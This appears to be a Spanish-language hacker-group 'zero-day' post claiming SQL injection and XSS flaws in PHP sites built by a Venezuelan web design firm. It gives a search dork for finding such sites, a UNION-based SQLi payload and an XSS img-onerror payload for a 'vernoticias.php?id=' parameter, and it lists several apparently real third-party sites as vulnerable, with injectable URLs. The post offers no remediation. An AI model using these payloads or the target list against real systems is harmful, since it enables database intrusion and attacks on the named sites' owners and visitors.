0Day - www.tuwebvenezuela.com - SQLi / XSS Injection

 ___     ___                                 ___         ___         _
|  _| _ |_  | _____  ____  _  ____   ____   |  _| _____ |_  | _   _ | |_   ____  _  ____   ____
| |  | |  | ||  _  ||  __|| ||  _ \ |  __|  | |  |  _  |  | || | | ||  _| | ___|| ||  _ \ |  __|
| |  | |  | || | | ||__  \| || | | ||  __|  | |  | |_| |  | || | | || |   |__  \| || | | ||  __|
| |_ |_| _| || | | | __| || || |_| || |__   | |_ |_____| _| || |_| || |__  __| || || |_| || |__
|___|   |___||_| |_||____||_||____/ |____|  |___|       |___||_____||____||____||_||____/ |____|

##############################################################################################
#              ZERO - DAY BY [!]INSIDE[0]UTSIDE~TEAM @insid30utsid3 #HACKED!                 #
#                  visite [www.inside0utside.com] para mas informacion                       #
#                    ~  [Maximus_Well] ~ [3sc0rp10n] - [Sr Xaoc]  ~                          #
##############################################################################################


######################################
# => Author: Diego_Asencio
# => Twitter: @Diego_Asencio
# => Linea: Gray Hat
# => WorkGroup: [!]nside [0]utside
# => WebSite: www.inside0utside.com
# => Consultor Independiente <=
######################################
# => Dork: intext:Diseño y Programación Tu Web Venezuela
# => Vendor: http://www.tuwebvenezuela.com/
# => Title: www.tuwebvenezuela.com - SQLi Injection / XSS Injection
######################################


#### INFORMACION ####

LA EMPRESA www.tuwebvenezuela.com DESARROLLA SITIOS WEB DE PROGRAMACION DINAMICA (PHP-MYSQL) LOS CUALES PERMITEN EN SU MAYORIA UNA INYECCION DE XSS y SQL EN SU BASE DE DATOS PERMITIENDO AL ATACANTE TENER ACCESO SOBRE EL SISTEMA AFECTADO

### END INFO ###

### XPL ###

[SQLi]

union+all+select+0,1,2,3,4,5,6,7,8,9--

Payload: id=-4543 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR(58,105,118,122,58),IFNULL(CAST(CHAR(77,83,114,107,100,88,70,82,72,115) AS CHAR),CHAR(32)),CHAR(58,118,103,116,58))

[XSS]

"><img src=http://www.inside0utside.com/logo.jpg onerror=alert("[!]nside [0]utside");>


http://www.localhost.com/vernoticias.php?id=[SQLi]

http://www.localhost.com/vernoticias.php?id=[XSS]


### END XPL ###

### WEBSITES AFFECTES ###

http://www.tusaludvascular.com/vernoticias.php?id=6'

http://www.feposor.com.ve/vernoticias.php?id=67'

http://www.sousasupply.com/productos.php?categoria=23'

http://www.asesoriatotal.com.ve/vernoticia.php?Id=89

### END WEBSITES AFFECTES ###


############# SALUDOS ##############

=> MAXIMUS WELL
=> SR XAOC
=> 3SC0RP10N
=> R4Z0R_BL4CK

####################################